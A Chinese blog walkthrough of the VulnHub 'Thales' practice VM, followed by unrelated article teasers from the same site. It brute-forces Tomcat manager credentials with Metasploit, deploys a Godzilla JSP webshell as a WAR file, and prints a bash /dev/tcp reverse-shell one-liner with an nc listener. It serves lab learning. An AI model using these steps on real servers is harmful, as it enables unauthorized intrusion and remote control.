当前位置：首页 > news >正文

Thales靶机攻略

news 来源：原创 2025/7/27 19:31:11

1.下载导入VBox，并启动靶机

靶机地址：https://download.vulnhub.com/thales/Thales.zip

解压后，在VBox中导入虚拟电脑。包含所有网卡的MAC地址。

导入完成，设置网卡模式为仅主机网络。开启靶机。

kali网卡更改为桥接模式。点击工具栏的“编辑”----"虚拟网络编辑器"，再点击右下角的“更改设置”，选择桥接网卡，修改已桥接至：VBox Host-Only 网卡，便于搜索靶机IP。点击应用----稍等一下，再点击确认。

先关闭后开启网络服务：systemctl stop networking systemctl start networking

查看kali的ip：发现是192.168.56.102

2.使用kali，扫描局域网内的主机，判断靶机的ip

扫描命令：nmap 192.168.56.1/24 且只有22和8080端口开启

3.访问靶机的8080端口

访问:http://192.168.56.101:8080

发现页面是Apache Tomcat小猫页面，存在管理员登录。

4. 登录需要爆破用户名和密码，使用msf进行操作

kali进入msf：msfconsole 【执行命令后，需要等待运行一下】

注意：如果没msfconfig命令，请先安装。建议是：先更新一下apt，即apt update。如果更新过，则忽略更新这一步。再安装需要的命令：apt install msfconfig。

输入search tomcat login，进行设置后完成爆破。

设置1：use 0 使用这个方法

设置2：输入 show options，查看必须填写的信息。

发现RHost、RPort 目标主机和目标端口必须设置

设置主机：set rhost 192.168.56.101，可访问端口只有8080，可以设置也可以不设置。

输入run运行程序，爆破用户名和密码：tomcat:role1

输入:exit，退出msf

5.使用爆破的用户名和密码，管理App登录

6. 发现可上传WAR包，进行上传木马操作

使用哥斯拉生成jsp木马文件，压缩成zip文件。修改压缩包后缀为.war。

上传war文件，点击部署。

7.访问上传的木马文件

访问：http://192.168.56.101:8080/webshell/webshell.jsp

访问成功。

8.使用哥斯拉进行连接

目标”添加“----写入木马url，选择木马类型，点击测试连接。连接成功。

点击添加。

9.反弹shell

右击连接--进入。选择命令执行。

执行反弹shell命令：/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.102/6688 0>&1'

这里是攻击者的ip，即kali的ip。

执行前，kali先进行监听：nc -lvvp 6688

执行反弹shell，kali监听收到了shell。执行whoami，可以看到是tomcat，成功。

Thales靶机练习结束。

本次靶机，对于网卡的配置很重要，也是重中之重。

这里使用msf进行爆破用户名和密码，是一种暴力破解工具。

靶机结束，剩余部分还未学到。不做说明。

希望对于困惑的朋友，可以有所帮助。当然也希望大家都最好能有所收获。

再见。。。

--------------------2025/3/25 23:17

Thales靶机攻略

1.下载导入VBox，并启动靶机靶机地址：https://download.vulnhub.com/thales/Thales.zip 解压后，在VBox中导入虚拟电脑。包含所有网卡的MAC地址。导入完成，设置网卡模式为仅主机网络。开启靶机。 kali网卡更改为桥接模式。点击工…...

编程日记 2025/7/27 19:31:11

【redis】哨兵：搭建主从/哨兵节点详解和细节

文章目录编排步骤搭建主从节点创建容器启动容器搭建哨兵节点创建容器哨兵节点配置文件配置节点启动容器主从/哨兵节点连入同一个局域网编排步骤分为两组 yml，先后启动我们其实也可以用于一个 yml 文件，直接启动 6 个容器，但是&#x…...

编程日记 2025/7/27 19:21:35

零基础上手Python数据分析 (9)：DataFrame 数据读取与写入 - 让数据自由穿梭

回顾一下，上篇博客我们学习了 Pandas 的核心数据结构 Series 和 DataFrame。 DataFrame 作为 Pandas 的 “王牌” 数据结构，是进行数据分析的基石。但 DataFrame 的强大功能，还需要建立在数据输入 (Input) 和数据输出 (Output) 的基础上。数据从哪里来？分析结果又如何…...

编程日记 2025/7/24 9:19:49

Emacs 折腾日记(十九)——配置输入法和vim操作方式

上一篇文章中，我们将Emacs变得稍微好看了点。换成了自己喜欢的主题和颜色，这样每天用起来也比较养眼，不会特别排斥。本篇文章的主要任务就是配置输入法方便输入中文以及将vim的操作模式搬到Emacs中。进一步提到Emacs的可用性配置中文输入法…...

编程日记 2025/7/27 19:21:35

Docker 镜像构建与优化

一、Dockerfile 构建镜像 1.1.拉取所需镜像首先 docker pull 拉取一个 centos7 的镜像。 docker pull centos:7 下载 nginx 源码包。官网：nginx: download wget https://nginx.org/download/nginx-1.26.3.tar.gz 1.2.解决 CentOS 7 安装源问题因为原本的 …...

编程日记 2025/7/27 19:17:43

Mininet--moduledeps.py源码解析

整体构架概述 1. What is it moduledeps.py是Mininet网络模拟框架的模块依赖管理工具，用于动态管理Linux内核模块（如Open vSwitch、TUN/TAP）和验证系统环境。其核心目的是确保Mininet运行所需的底层模块和可执行文件已正确加载或存在&#…...

编程日记 2025/7/27 19:18:21

JAVA EE_多线程-初阶（一）

1.认识线程 1.1概念 1）线程是什么线程是在进程内部中进行运行的，可以把它想成一个“执行流“，每个线程负责执行线程内的部分代码，多个线程之间可以”同时“执行多个代码。 “同时”：指并行，采用分时复用…...

编程日记 2025/7/26 1:36:47

批量优化与压缩 PPT，减少 PPT 文件的大小

我们经常能够看到有些 PPT 文档明明没有多少内容，但是却占用了很大的空间，存储和传输非常的不方便，这时候通常是因为我们插入了一些图片/字体等资源文件，这些都可能会导致我们的 PPT 文档变得非常的庞大，今天就给大家介…...

编程日记 2025/7/27 19:25:31

AI 的“幻觉”现象：深入解析 Hallucination 的成因与应对之道

文章目录一、啥是 AI 的 Hallucination？二、啥时候容易出现幻觉？1. 知识边界之外的问题2. 模糊或不明确的输入3. 生成长篇内容4. 多模态任务中的误解5. 过度自信的语气要求三、幻觉为啥会出现？原理是啥？1. 概率预测的本质2. 训练…...

编程日记 2025/7/27 19:27:40

加载huggingface数据集报token无效错误解决方案

加载huggingface数据集报错 import pandas as pddf pd.read_json("hf://datasets/udell-lab/NLP4LP/data/test.jsonl", linesTrue) print(df)PS C:\Users\pengkangzhen\PythonProjects\llm-ecr> & C:/Users/pengkangzhen/.conda/envs/py3.12_ml/python.exe …...

编程日记 2025/7/27 19:21:35

Java面试题及知识点Day1

自动拆箱和自动装箱装箱就是自动将基本数据类型转换为包装器类型拆箱就是自动将包装其类型转化为基本数据类型重写和重载重写 1.发生在子类和父类之间 2.参数的方法名，参数，返回值，必须相同 3.权限修饰符不能小于重写方法的权限修饰符…...

编程日记 2025/7/27 19:25:31

【动态规划】-- 三步问题（easy）

文章目录 1. 题目2. 题目解析3. 代码 1. 题目在线oj 三步问题。有个小孩正在上楼梯，楼梯有 n 阶台阶，小孩一次可以上 1 阶、2 阶或 3 阶。实现一种方法，计算小孩有多少种上楼梯的方式。结果可能很大，你需要对结果模 1000000007。…...

编程日记 2025/7/23 12:10:50

字符流Reader/Writer

一、Reader相关介绍及其子类 Reader是所有字符输入流的超类。它提供了读取字符流的基本方法，如read(), read(char[] cbuf, int off, int len)等；由于Reader是抽象类，通常使用它的子类如FileReader, BufferedReader等来创建字符输入流对象。 …...

编程日记 2025/7/24 8:25:46

字符串交替合并问题

问题： 给你两个字符串 word1 和 word2 。请你从 word1 开始，通过交替添加字母来合并字符串。如果一个字符串比另一个字符串长，就将多出来的字母追加到合并后字符串的末尾。返回合并后的字符串。示例 1： 输入：w…...

编程日记 2025/7/26 8:52:30

shell脚本一键安装docker+docker-compose，支持x86_64、arm64双架构

目录脚本内容运行效果安装包和脚本脚本内容 [roottest1 docker]# cat install.sh #!/bin/bash set -e export pathpwd export docker_data"/data/docker_data"function check_arch() {if [ -f /etc/redhat-release ]; thenOS"RedHat"elif [ -f /e…...

编程日记 2025/7/27 19:28:52

Elasticsearch 面试备战指南

Elasticsearch 面试备战指南一、基础概念什么是Elasticsearch？ Elasticsearch是一个基于Lucene的分布式搜索和分析引擎，提供近实时搜索、高可用性和水平扩展能力。常用于日志分析（ELK）、全文检索、商业智能等场景。 Elasticsea…...

编程日记 2025/7/24 23:36:32

新手村：逻辑回归-理解04：熵是什么?

新手村：逻辑回归04：熵是什么? 熵是什么? 前置条件在开始学习逻辑回归中的熵理论之前，需要掌握以下基础知识： 概率论与统计学： 概率分布（如伯努利分布、正态分布）。条件概率和贝叶斯定理。期…...

编程日记 2025/7/27 19:24:18

Javaweb后端登录会话技术jwt令牌

jwt生成与校验是base4补位的最后面是签名，签名不是base64，是通过签名算法加密后来的令牌长度不是固定的，长度取决于原始内容，载荷，大小头有，类型，签名算法 base64可以对任意的二进制数据进…...

编程日记 2025/7/27 16:30:46

图像对比分析并生成报告

pip install pyautogui """ 图像对比分析工具功能：实现像素级差异、结构相似性(SSIM)、直方图相似度和特征匹配率四种对比方法作者：智能助手版本：1.2 日期：2025-02-27""" import os import cv2 …...

编程日记 2025/7/27 19:29:31

DeepSeek 助力 Vue3 开发：打造丝滑的表格（Table）之添加行拖拽排序功能示例1，TableView16_01.vue 基础行拖拽排序示例

前言：哈喽，大家好，今天给大家分享一篇文章！并提供具体代码帮助大家深入理解，彻底掌握！创作不易，如果能帮助到大家或者给大家一些灵感和启发，欢迎收藏+关注哦 💕 目录 DeepSeek 助力 Vue3 开发：打造丝滑的表格（Table）之添加行拖拽排序功能示例1，TableView16_01.vu…...

编程日记 2025/7/24 6:47:11

vue-如何将组件内容作为图片生成-html2canvas

1.引入必要的库这里呢我们使用 html2canvas 库来将 HTML 元素转换为画布（canvas），然后再将其导出为图片。首先，确保在项目中安装了 html2canvas： npm install html2canvas 2. 组件结构然后在我们的vue文件里面&a…...

编程日记 2025/7/27 19:17:07

单片机 - RAM 与内存、ROM 与硬盘之间的详细对比总结

RAM 与内存 RAM（Random Access Memory，随机存取存储器） 和内存这两个术语通常是同义词，即内存常常指的就是 RAM。 1. RAM（内存） 定义：RAM 是计算机中的主存储器，用于临时存…...

编程日记 2025/7/25 0:29:30

Linux 练习一 NFS和DNS

练习四任务需求：客户端通过访问 www.nihao.com 后，能够通过 dns 域名解析，访问到 nginx 服务中由 nfs 共享的首页文件，内容为：Very good, you have successfully set up the system. 各个主机能够实现时间同步&#…...

编程日记 2025/7/27 19:28:52

aab 转 apk

googleplay发布的游戏对外前，测试同学要安装到手机上先行测试，所以就有了这个需求。网上找了一篇文章讲的很详细了，文档是英语的，这里摘抄重要的部分做下记录： https://www.geekdashboard.com/extract-apk-files-from…...

编程日记 2025/7/27 19:16:32

JAVA开发：实例成员与静态成员

判断Java中的实例成员与静态成员在Java中，可以通过以下几种方式判断一个成员是实例成员还是静态成员： 1. 通过声明方式判断静态成员使用static关键字修饰，实例成员不使用： public class MyClass {// 实例成员int instanceVa…...

编程日记 2025/7/27 19:19:37

DeepSeek面试——模型架构和主要创新点

本文将介绍DeepSeek的模型架构多头潜在注意力（MLA）技术，混合专家（MoE）架构， 无辅助损失负载均衡技术，多Token 预测（MTP）策略。一、模型架构 DeepSeek-R1的基本架构沿用…...

编程日记 2025/7/26 23:41:51

[项目]基于FreeRTOS的STM32四轴飞行器: 十二.角速度加速度滤波

基于FreeRTOS的STM32四轴飞行器: 十二.滤波一.滤波介绍二.对角速度进行一阶低通滤波三.对加速度进行卡尔曼滤波一.滤波介绍模拟信号滤波： 最常用的滤波方法可以在信号和地之间并联一个电容，因为电容通交隔直，信号突变会给电容充电&#x…...

编程日记 2025/7/27 19:15:58

《基于SpringBoot的图书网购平台的设计与实现》开题报告

个人主页：大数据蟒行探索者一、选题的依据及意义 1.1选题来源市场需求驱动：如今，互联网深度融入人们生活，阅读场景愈发多元化，线上购书成为主流趋势之一。读者期望随时随地浏览海量图书资源，对比价格…...

编程日记 2025/7/19 23:54:52

Python 非异步函数执行异步函数的方案

import asyncio import sys from your_module import browser_main # 替换为你的实际模块名 async def _keep_alive(): """保持程序持续运行""" while True: await asyncio.sleep(1) def run_browser(index: int None): """ 执…...

编程日记 2025/7/27 19:25:31

计算机期刊推荐 | 工程技术-电子与电气, 计算机

IET Microwaves Antennas & Propagation的新特刊：《天线与超材料的设计、合成、仿真与实验》学科领域： 工程技术-电子与电气, 计算机期刊类型： SCI/SSCI/AHCI 收录数据库： SCI(SCIE) ISSN： 1751-8725 中科院…...

编程日记 2025/7/27 5:04:07

【开源宝藏】30天学会CSS - DAY9 第九课牛顿摆动量守恒动画

以下是一份逐步拆解教程，带你从零理解并复刻这个牛顿摆（Pendulum of Newton）动画效果，这是一个经典的物理演示模型，现在通过纯 HTML 和 CSS 实现出来，视觉效果炫酷、结构简洁。 🎯 动画效果说明…...

编程日记 2025/7/27 19:15:25

对三维物体模型的阈值操作

对三维物体模型的阈值操作 1. 使用point_coord_x、point_coord_y、point_coord_z阈值分割麻辣兔头2. point_normal_x、point_normal_y、point_normal_z有什么区别？3. 去除离群点 1. 使用point_coord_x、point_coord_y、point_coord_z阈值分割麻辣兔头 dev_open_win…...

编程日记 2025/7/18 10:31:30

【Unity网络编程知识】使用Socket实现简单TCP通讯

1、Socket的常用属性和方法创建Socket TCP流套接字 Socket socketTcp new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); 1.1 常用属性 1）套接字的连接状态 socketTcp.Connected 2）获取套接字的类型 socketTcp.So…...

编程日记 2025/7/27 19:19:37

简记_单片机硬件最小系统设计

以STM32为例： 一、电源 1.1、数字电源 IO电源：VDD、VSS：1.8~3.6V，常用3.3V，去耦电容1 x 10u N x 100n ； 内核电源：内嵌的稳压器输出：1.2V，给内核、存储器、数字外设…...

编程日记 2025/7/27 19:15:24

Android Launcher实战：完美复刻iOS风格Hotseat布局优化

一、需求背景与效果呈现在Android 13系统深度定制过程中，原生Launcher的Hotseat布局因视觉效果平庸需要进行UI重构。产品团队要求仿照iOS系统设计，实现以下核心特性： 取消传统横屏铺满效果采用居中显示布局方案支持圆角背景与智能边距调…...

编程日记 2025/7/27 19:27:41

2025-3-25算法打卡

一，走迷宫 1.题目描述： 给定一个 NMNM 的网格迷宫 GG。GG 的每个格子要么是道路，要么是障碍物（道路用 11 表示，障碍物用 00 表示）。已知迷宫的入口位置为 (x1,y1)(x1,y1)，出口位置为 (x…...

编程日记 2025/7/27 19:28:19

Python：进程的常用方法，注意细节，进程线程对比

进程常用方法： start()：启动进程实例 is_alive()：判断子进程的存活状态，返回True或False，子进程执行完后的状态为False join([timeout])：是否等待子进程执行结束(在当前位置阻塞主进程)主进程等子进程多长…...

编程日记 2025/7/27 19:20:17

北京交通大学第三届C语言积分赛

作者有言在先： 题解的作用是交流思路，不是抄作业的。可以把重点放在思路分析上而不是代码上，毕竟每个人的代码风格是不一样的，看别人的代码就跟做程序填空题一样。先看明白思路再看代码。还有就是，deepseek真的很好用…...

编程日记 2025/7/27 19:27:06

架构设计之自定义延迟双删缓存注解(下)

架构设计之自定义延迟双删缓存注解(下) 小薛博客官方架构设计之自定义延迟双删缓存注解(下)地址为了保证Cache和ClearAndReloadCache的灵活性，特意加入EL表达式解析 1、Cache package com.xx.cache;import java.lang.annotation.*; import java.util.concurren…...

编程日记 2025/7/27 19:18:56

SingleMod

SingleMod SingleMod是一种深度学习模型，专为利用纳米孔直接RNA测序（DRS）数据在单RNA分子中精确检测m6A修饰而设计。该模型通过深度多实例回归框架进行训练，能够充分利用广泛的甲基化率标签。SingleMod是一个通用框架，可轻松适配其他核酸修饰的检测模型训练。注意： Si…...

编程日记 2025/7/27 19:22:33

SQL-查询漏洞

一、查询注入的数据类型 //list.php<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatiable" content"IEedge"><meta name"viewport" content&…...

编程日记 2025/7/22 23:54:11

Maven 多模块项目（如微服务架构）中，父 POM（最外层）和子模块 POM（具体业务模块）的区别和联系

文章目录 **1. 父 POM 的核心职责****1.1 依赖管理 (dependencyManagement)****1.2 插件管理 (pluginManagement)****1.3 其他公共配置** **2. 子模块 POM 的核心职责****2.1 依赖声明 (dependencies)****2.2 插件启用与覆盖 (plugins)** **3. 核心对比表****4. 使用场景示例**…...

编程日记 2025/7/20 22:50:51

【AIGC】图片变视频 - SD ComfyUI视频生成

效果图完整过程 SD ComfyUI 下载下载 https://pan.quark.cn/s/64b808baa960 解压密码：bilibili-秋葉aaaki 完整 https://www.bilibili.com/video/BV1Ew411776J/ SD ComfyUI 安装 1.解压 2.将controlnet内部文件复制到 ComfyUI-aki-v1.6\ComfyUI\models\control…...

编程日记 2025/7/27 19:21:02

思考我的未来职业

李升伟编译关于我我是一名专注于后端开发的软件工程师，拥有十年专业编程经验。从学生时代起，编程就是我的热情所在，并一直保持着这个长期爱好。此外，我也热爱动漫和电影。然而过去几年，婚姻、家庭责任和育儿让生…...

编程日记 2025/7/27 7:09:36

StarRocks数据导入

文章目录 StarRocks数据导入Broker LoadETL 集群导数非 ETL 集群导数Broker Load 任务查看BrokerLoad⼤数据量导⼊优化参数推荐配置BrokerLoad 排查思路 Insert IntoInsert Into大数据量导入优化参数 Stream LoadStreamLoad⼤数据量导⼊优化参数推荐配置Stream Load 排查思路 R…...

编程日记 2025/7/27 19:14:06